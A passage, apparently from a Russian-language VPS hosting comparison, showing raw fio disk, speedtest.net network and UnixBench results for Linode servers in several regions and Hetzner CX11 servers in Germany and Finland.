WRITE: io=2319.8MB, aggrb=39588KB/s, minb=39588KB/s, maxb=39588KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
sda: ios=56/593337, merge=143/1500, ticks=12/43260, in_queue=43144, util=71.87%
```
**fio (США, Фримонт)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30282: Wed Dec 11 18:48:11 2019
read : io=7310.9MB, bw=124764KB/s, iops=31190, runt= 60004msec
clat (usec): min=2, max=108489, avg=250.77, stdev=583.00
lat (usec): min=2, max=108489, avg=251.65, stdev=583.02
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 3], 10.00th=[ 159], 20.00th=[ 211],
| 30.00th=[ 223], 40.00th=[ 231], 50.00th=[ 239], 60.00th=[ 247],
| 70.00th=[ 258], 80.00th=[ 274], 90.00th=[ 306], 95.00th=[ 342],
| 99.00th=[ 540], 99.50th=[ 1368], 99.90th=[ 3504], 99.95th=[ 6496],
| 99.99th=[13888]
bw (KB /s): min= 7848, max=20600, per=12.51%, avg=15607.82, stdev=1622.54
lat (usec) : 4=6.90%, 10=0.84%, 20=0.19%, 50=0.01%, 100=0.37%
lat (usec) : 250=53.78%, 500=36.77%, 750=0.37%, 1000=0.14%
lat (msec) : 2=0.23%, 4=0.30%, 10=0.07%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=2.17%, sys=8.32%, ctx=1751322, majf=3, minf=88
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1871578/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7310.9MB, aggrb=124763KB/s, minb=124763KB/s, maxb=124763KB/s, mint=60004msec, maxt=60004msec
Disk stats (read/write):
sda: ios=1719411/10, merge=136/5, ticks=367604/0, in_queue=367292, util=98.42%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30308: Wed Dec 11 18:50:15 2019
write: io=22228MB, bw=379297KB/s, iops=94824, runt= 60010msec
clat (usec): min=2, max=71934, avg=51.74, stdev=781.09
lat (usec): min=3, max=76027, avg=57.84, stdev=846.45
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 3], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 4],
| 70.00th=[ 4], 80.00th=[ 4], 90.00th=[ 4], 95.00th=[ 4],
| 99.00th=[ 105], 99.50th=[ 2640], 99.90th=[12864], 99.95th=[18304],
| 99.99th=[28032]
bw (KB /s): min= 1, max=57849, per=12.64%, avg=47960.37, stdev=3393.26
lat (usec) : 4=52.13%, 10=46.07%, 20=0.42%, 50=0.11%, 100=0.22%
lat (usec) : 250=0.21%, 500=0.11%, 750=0.04%, 1000=0.03%
lat (msec) : 2=0.09%, 4=0.16%, 10=0.24%, 20=0.11%, 50=0.04%
lat (msec) : 100=0.01%
cpu : usr=4.16%, sys=6.13%, ctx=122895, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=5690402/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=22228MB, aggrb=379296KB/s, minb=379296KB/s, maxb=379296KB/s, mint=60010msec, maxt=60010msec
Disk stats (read/write):
sda: ios=172/1796795, merge=31/1518, ticks=196/5151300, in_queue=5149896, util=69.28%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30295: Wed Dec 11 18:49:15 2019
read : io=7053.2MB, bw=120372KB/s, iops=30093, runt= 60001msec
clat (usec): min=67, max=149994, avg=259.65, stdev=564.00
lat (usec): min=68, max=149995, avg=260.50, stdev=564.01
clat percentiles (usec):
| 1.00th=[ 118], 5.00th=[ 193], 10.00th=[ 205], 20.00th=[ 217],
| 30.00th=[ 225], 40.00th=[ 231], 50.00th=[ 239], 60.00th=[ 247],
| 70.00th=[ 258], 80.00th=[ 270], 90.00th=[ 298], 95.00th=[ 326],
| 99.00th=[ 442], 99.50th=[ 732], 99.90th=[ 3536], 99.95th=[ 6752],
| 99.99th=[14016]
bw (KB /s): min= 7751, max=16512, per=12.51%, avg=15054.93, stdev=1315.85
lat (usec) : 100=0.47%, 250=63.33%, 500=35.47%, 750=0.24%, 1000=0.10%
lat (msec) : 2=0.20%, 4=0.09%, 10=0.08%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=2.33%, sys=8.06%, ctx=1846033, majf=0, minf=83
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1805615/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7053.2MB, aggrb=120372KB/s, minb=120372KB/s, maxb=120372KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=1803762/10, merge=144/5, ticks=382228/0, in_queue=382160, util=99.88%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30321: Wed Dec 11 18:51:16 2019
write: io=2204.4MB, bw=37617KB/s, iops=9404, runt= 60005msec
clat (usec): min=75, max=155277, avg=845.18, stdev=5068.01
lat (usec): min=76, max=155278, avg=846.06, stdev=5068.02
clat percentiles (usec):
| 1.00th=[ 79], 5.00th=[ 81], 10.00th=[ 82], 20.00th=[ 84],
| 30.00th=[ 85], 40.00th=[ 87], 50.00th=[ 90], 60.00th=[ 92],
| 70.00th=[ 97], 80.00th=[ 104], 90.00th=[ 122], 95.00th=[ 147],
| 99.00th=[34048], 99.50th=[36096], 99.90th=[40704], 99.95th=[43776],
| 99.99th=[55040]
bw (KB /s): min= 2514, max= 5664, per=12.51%, avg=4707.09, stdev=458.93
lat (usec) : 100=74.69%, 250=22.43%, 500=0.32%, 750=0.13%, 1000=0.06%
lat (msec) : 2=0.13%, 4=0.09%, 10=0.01%, 20=0.01%, 50=2.14%
lat (msec) : 100=0.02%, 250=0.01%
cpu : usr=0.73%, sys=2.64%, ctx=1141286, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=564308/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2204.4MB, aggrb=37617KB/s, minb=37617KB/s, maxb=37617KB/s, mint=60005msec, maxt=60005msec
Disk stats (read/write):
sda: ios=63/563824, merge=144/1549, ticks=68/44880, in_queue=44828, util=74.54%
```
**fio (США, Ньюарк)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=10448: Thu Dec 12 13:06:37 2019
read : io=7558.4MB, bw=128994KB/s, iops=32248, runt= 60001msec
clat (usec): min=1, max=1002.2K, avg=244.98, stdev=946.83
lat (usec): min=1, max=1002.2K, avg=245.40, stdev=946.83
clat percentiles (usec):
| 1.00th=[ 1], 5.00th=[ 2], 10.00th=[ 153], 20.00th=[ 183],
| 30.00th=[ 199], 40.00th=[ 211], 50.00th=[ 223], 60.00th=[ 239],
| 70.00th=[ 262], 80.00th=[ 298], 90.00th=[ 354], 95.00th=[ 410],
| 99.00th=[ 596], 99.50th=[ 844], 99.90th=[ 2544], 99.95th=[ 2960],
| 99.99th=[13888]
bw (KB /s): min= 4981, max=22968, per=12.52%, avg=16154.17, stdev=1818.71
lat (usec) : 2=1.77%, 4=3.76%, 10=1.80%, 20=0.40%, 50=0.18%
lat (usec) : 100=0.47%, 250=57.15%, 500=32.56%, 750=1.32%, 1000=0.19%
lat (msec) : 2=0.19%, 4=0.20%, 10=0.01%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%, 500=0.01%, 2000=0.01%
cpu : usr=1.24%, sys=7.51%, ctx=1795177, majf=2, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1934945/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7558.4MB, aggrb=128994KB/s, minb=128994KB/s, maxb=128994KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=1775630/10, merge=144/5, ticks=400756/0, in_queue=400528, util=98.21%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=10474: Thu Dec 12 13:08:40 2019
write: io=32935MB, bw=561990KB/s, iops=140497, runt= 60011msec
clat (usec): min=1, max=71142, avg=42.34, stdev=755.46
lat (usec): min=1, max=71142, avg=44.95, stdev=799.24
clat percentiles (usec):
| 1.00th=[ 1], 5.00th=[ 2], 10.00th=[ 2], 20.00th=[ 2],
| 30.00th=[ 2], 40.00th=[ 2], 50.00th=[ 2], 60.00th=[ 2],
| 70.00th=[ 2], 80.00th=[ 3], 90.00th=[ 3], 95.00th=[ 3],
| 99.00th=[ 14], 99.50th=[ 378], 99.90th=[13120], 99.95th=[17536],
| 99.99th=[26752]
bw (KB /s): min= 1, max=90912, per=12.64%, avg=71015.53, stdev=7060.81
lat (usec) : 2=1.50%, 4=96.15%, 10=1.26%, 20=0.13%, 50=0.11%
lat (usec) : 100=0.22%, 250=0.10%, 500=0.04%, 750=0.04%, 1000=0.03%
lat (msec) : 2=0.05%, 4=0.05%, 10=0.16%, 20=0.12%, 50=0.03%
lat (msec) : 100=0.01%
cpu : usr=1.88%, sys=7.08%, ctx=102574, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=8431394/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=32935MB, aggrb=561989KB/s, minb=561989KB/s, maxb=561989KB/s, mint=60011msec, maxt=60011msec
Disk stats (read/write):
sda: ios=204/2664201, merge=0/1530, ticks=96/5015780, in_queue=5011968, util=66.88%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=10461: Thu Dec 12 13:07:39 2019
read : io=7272.5MB, bw=124105KB/s, iops=31026, runt= 60002msec
clat (usec): min=52, max=150788, avg=254.66, stdev=558.22
lat (usec): min=52, max=150788, avg=255.12, stdev=558.23
clat percentiles (usec):
| 1.00th=[ 129], 5.00th=[ 159], 10.00th=[ 169], 20.00th=[ 185],
| 30.00th=[ 199], 40.00th=[ 209], 50.00th=[ 221], 60.00th=[ 237],
| 70.00th=[ 262], 80.00th=[ 302], 90.00th=[ 358], 95.00th=[ 418],
| 99.00th=[ 564], 99.50th=[ 708], 99.90th=[ 1928], 99.95th=[ 2832],
| 99.99th=[10816]
bw (KB /s): min= 8656, max=22752, per=12.51%, avg=15520.89, stdev=1889.80
lat (usec) : 100=0.52%, 250=65.45%, 500=32.26%, 750=1.34%, 1000=0.19%
lat (msec) : 2=0.16%, 4=0.07%, 10=0.01%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=1.28%, sys=6.40%, ctx=1876818, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1861643/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7272.5MB, aggrb=124105KB/s, minb=124105KB/s, maxb=124105KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
sda: ios=1861380/10, merge=144/5, ticks=390012/0, in_queue=389716, util=99.03%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=10487: Thu Dec 12 13:09:40 2019
write: io=2191.1MB, bw=37407KB/s, iops=9351, runt= 60004msec
clat (usec): min=64, max=485184, avg=852.18, stdev=5707.61
lat (usec): min=65, max=485184, avg=852.64, stdev=5707.61
clat percentiles (usec):
| 1.00th=[ 69], 5.00th=[ 70], 10.00th=[ 72], 20.00th=[ 73],
| 30.00th=[ 75], 40.00th=[ 76], 50.00th=[ 79], 60.00th=[ 82],
| 70.00th=[ 87], 80.00th=[ 104], 90.00th=[ 187], 95.00th=[ 266],
| 99.00th=[38656], 99.50th=[40704], 99.90th=[45824], 99.95th=[52480],
| 99.99th=[88576]
bw (KB /s): min= 311, max= 6184, per=12.54%, avg=4691.88, stdev=732.96
lat (usec) : 100=78.71%, 250=15.08%, 500=3.93%, 750=0.17%, 1000=0.08%
lat (msec) : 2=0.08%, 4=0.02%, 10=0.01%, 20=0.01%, 50=1.83%
lat (msec) : 100=0.06%, 250=0.01%, 500=0.01%
cpu : usr=0.42%, sys=2.55%, ctx=1133358, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=561138/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2191.1MB, aggrb=37406KB/s, minb=37406KB/s, maxb=37406KB/s, mint=60004msec, maxt=60004msec
Disk stats (read/write):
sda: ios=55/560849, merge=144/1569, ticks=48/45804, in_queue=45712, util=76.12%
```
**Speedtest (Австралия, Сидней)**
```
Retrieving speedtest.net configuration...
Testing from Linode (172.105.166.138)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by 'Yes' Optus (Sydney) [1.01 km]: 5.273 ms
Testing download speed................................................................................
Download: 3748.73 Mbit/s
Testing upload speed................................................................................................
Upload: 1914.90 Mbit/s
```
**Speedtest (Канада, Торонто)**
```
Retrieving speedtest.net configuration...
Testing from Linode (172.105.27.90)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Bell Mobility (Toronto, ON) [3.45 km]: 4.353 ms
Testing download speed................................................................................
Download: 2291.58 Mbit/s
Testing upload speed................................................................................................
Upload: 1898.46 Mbit/s
```
**Speedtest (Германия, Франкфурт)**
```
Retrieving speedtest.net configuration...
Testing from Linode (172.105.66.241)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Vodafone DE (Frankfurt) [0.89 km]: 2.5 ms
Testing download speed................................................................................
Download: 334.21 Mbit/s
Testing upload speed................................................................................................
Upload: 778.76 Mbit/s
```
**Speedtest (Индия, Мумбаи)**
```
Retrieving speedtest.net configuration...
Testing from Linode (172.105.53.168)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by I-ON (Mumbai) [13.76 km]: 41.212 ms
Testing download speed................................................................................
Download: 2668.93 Mbit/s
Testing upload speed................................................................................................
Upload: 2456.87 Mbit/s
```
**Speedtest (Япония, Токио)**
```
Retrieving speedtest.net configuration...
Testing from Linode (172.104.99.120)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by OPEN Project (via 20G SINET) (Tokyo) [6.34 km]: 2.983 ms
Testing download speed................................................................................
Download: 1514.59 Mbit/s
Testing upload speed................................................................................................
Upload: 742.07 Mbit/s
```
**Speedtest (Сингапур)**
```
Retrieving speedtest.net configuration...
Testing from Linode (139.162.42.89)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by StarHub Mobile Pte Ltd (Singapore) [7.42 km]: 4.323 ms
Testing download speed................................................................................
Download: 2594.09 Mbit/s
Testing upload speed................................................................................................
Upload: 2845.87 Mbit/s
```
**Speedtest (Великобритания, Лондон)**
```
Retrieving speedtest.net configuration...
Testing from Linode (85.159.213.129)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Spitfire Network Services (London) [0.92 km]: 3.546 ms
Testing download speed................................................................................
Download: 1292.02 Mbit/s
Testing upload speed................................................................................................
Upload: 1262.76 Mbit/s
```
**Speedtest (США, Атланта)**
```
Retrieving speedtest.net configuration...
Testing from Linode (45.79.223.127)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Hotwire Fision (Atlanta, GA) [0.37 km]: 1.599 ms
Testing download speed................................................................................
Download: 623.66 Mbit/s
Testing upload speed................................................................................................
Upload: 899.49 Mbit/s
```
**Speedtest (США, Даллас)**
```
Retrieving speedtest.net configuration...
Testing from Linode (45.33.18.235)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Windstream (Dallas, TX) [2.33 km]: 6.618 ms
Testing download speed................................................................................
Download: 1750.90 Mbit/s
Testing upload speed................................................................................................
Upload: 2639.56 Mbit/s
```
**Speedtest (США, Фримонт)**
```
Retrieving speedtest.net configuration...
Testing from Linode (45.79.226.251)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Converse in Code Networks (Fremont, CA) [1.89 km]: 4.107 ms
Testing download speed................................................................................
Download: 683.26 Mbit/s
Testing upload speed................................................................................................
Upload: 746.06 Mbit/s
```
**Speedtest (США, Ньюарк)**
```
Retrieving speedtest.net configuration...
Testing from Linode (45.79.181.215)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Interserver, inc (Secaucus, NJ) [11.03 km]: 5.212 ms
Testing download speed................................................................................
Download: 1773.85 Mbit/s
Testing upload speed................................................................................................
Upload: 2021.52 Mbit/s
```
### Виртуальный сервер от Hetzner:
* тариф CX11 (20 GB SSD / 1x vCPU / 2 GB RAM / 10000 Mbit/s за 2.99€ в месяц);
* дата-центры в Германии, Финляндии.
#### Тесты:
**Unixbench (Германия, Фалькенштейн)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: debian-2gb-fsn1-1: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u2 (2019-11-11)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel Xeon Processor (Skylake, IBRS) (4589.2 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
17:44:12 up 1:02, 1 user, load average: 0.45, 0.12, 0.04; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Wed Dec 04 2019 17:44:12 - 18:12:22
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 31999500.4 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4041.0 MWIPS (9.9 s, 7 samples)
Execl Throughput 4467.7 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 522204.8 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 132016.7 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1293513.2 KBps (30.0 s, 2 samples)
Pipe Throughput 703333.3 lps (10.0 s, 7 samples)
Pipe-based Context Switching 105055.3 lps (10.0 s, 7 samples)
Process Creation 9959.9 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7888.1 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 1021.9 lpm (60.0 s, 2 samples)
System Call Overhead 420618.3 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 31999500.4 2742.0
Double-Precision Whetstone 55.0 4041.0 734.7
Execl Throughput 43.0 4467.7 1039.0
File Copy 1024 bufsize 2000 maxblocks 3960.0 522204.8 1318.7
File Copy 256 bufsize 500 maxblocks 1655.0 132016.7 797.7
File Copy 4096 bufsize 8000 maxblocks 5800.0 1293513.2 2230.2
Pipe Throughput 12440.0 703333.3 565.4
Pipe-based Context Switching 4000.0 105055.3 262.6
Process Creation 126.0 9959.9 790.5
Shell Scripts (1 concurrent) 42.4 7888.1 1860.4
Shell Scripts (8 concurrent) 6.0 1021.9 1703.2
System Call Overhead 15000.0 420618.3 280.4
========
System Benchmarks Index Score 945.8
```
**Unixbench (Германия, Нюрнберг)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: debian-2gb-nbg1-1: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u2 (2019-11-11)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel Xeon Processor (Skylake, IBRS) (4200.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
17:43:43 up 1:01, 1 user, load average: 0.68, 0.20, 0.07; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Wed Dec 04 2019 17:43:43 - 18:11:50
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 30981175.0 lps (10.0 s, 7 samples)
Double-Precision Whetstone 3970.6 MWIPS (9.9 s, 7 samples)
Execl Throughput 4214.2 lps (29.6 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 455583.2 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 134162.5 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1327033.8 KBps (30.0 s, 2 samples)
Pipe Throughput 709339.4 lps (10.0 s, 7 samples)
Pipe-based Context Switching 102866.3 lps (10.0 s, 7 samples)
Process Creation 8830.0 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7109.0 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 888.5 lpm (60.1 s, 2 samples)
System Call Overhead 424010.8 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 30981175.0 2654.8
Double-Precision Whetstone 55.0 3970.6 721.9
Execl Throughput 43.0 4214.2 980.0
File Copy 1024 bufsize 2000 maxblocks 3960.0 455583.2 1150.5
File Copy 256 bufsize 500 maxblocks 1655.0 134162.5 810.6
File Copy 4096 bufsize 8000 maxblocks 5800.0 1327033.8 2288.0
Pipe Throughput 12440.0 709339.4 570.2
Pipe-based Context Switching 4000.0 102866.3 257.2
Process Creation 126.0 8830.0 700.8
Shell Scripts (1 concurrent) 42.4 7109.0 1676.6
Shell Scripts (8 concurrent) 6.0 888.5 1480.9
System Call Overhead 15000.0 424010.8 282.7
========
System Benchmarks Index Score 901.7
```
**Unixbench (Финляндия, Хельсинки)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: debian-2gb-hel1-1: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u2 (2019-11-11)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel Xeon Processor (Skylake, IBRS) (4200.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
17:45:00 up 1:02, 1 user, load average: 0.67, 0.22, 0.07; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Wed Dec 04 2019 17:45:00 - 18:13:09
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 29256935.7 lps (10.0 s, 7 samples)
Double-Precision Whetstone 3758.3 MWIPS (9.9 s, 7 samples)
Execl Throughput 3536.8 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 416729.8 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 116120.6 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1211197.2 KBps (30.0 s, 2 samples)
Pipe Throughput 636599.3 lps (10.0 s, 7 samples)
Pipe-based Context Switching 92831.7 lps (10.0 s, 7 samples)
Process Creation 8632.2 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 6427.6 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 784.8 lpm (60.1 s, 2 samples)
System Call Overhead 378836.2 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 29256935.7 2507.0
Double-Precision Whetstone 55.0 3758.3 683.3
Execl Throughput 43.0 3536.8 822.5
File Copy 1024 bufsize 2000 maxblocks 3960.0 416729.8 1052.3
File Copy 256 bufsize 500 maxblocks 1655.0 116120.6 701.6
File Copy 4096 bufsize 8000 maxblocks 5800.0 1211197.2 2088.3
Pipe Throughput 12440.0 636599.3 511.7
Pipe-based Context Switching 4000.0 92831.7 232.1
Process Creation 126.0 8632.2 685.1
